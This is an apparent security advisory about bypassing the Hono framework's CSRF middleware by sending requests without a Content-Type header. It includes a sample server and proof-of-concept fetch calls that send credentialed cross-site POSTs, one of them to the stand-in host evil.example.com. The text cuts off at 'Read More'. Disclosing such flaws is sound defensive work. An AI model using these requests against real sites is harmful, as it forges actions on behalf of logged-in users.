Summary Bypass CSRF Middleware by a request without Content-Type herader. Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 PoC server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) “`poc.html async function myclick() { await fetch("https://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } “` Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. PoC2.js await fetch("https://localhost:8000", { method: "POST", credentials: "include"}); Impact Bypass csrf protection implemented with hono csrf…Read More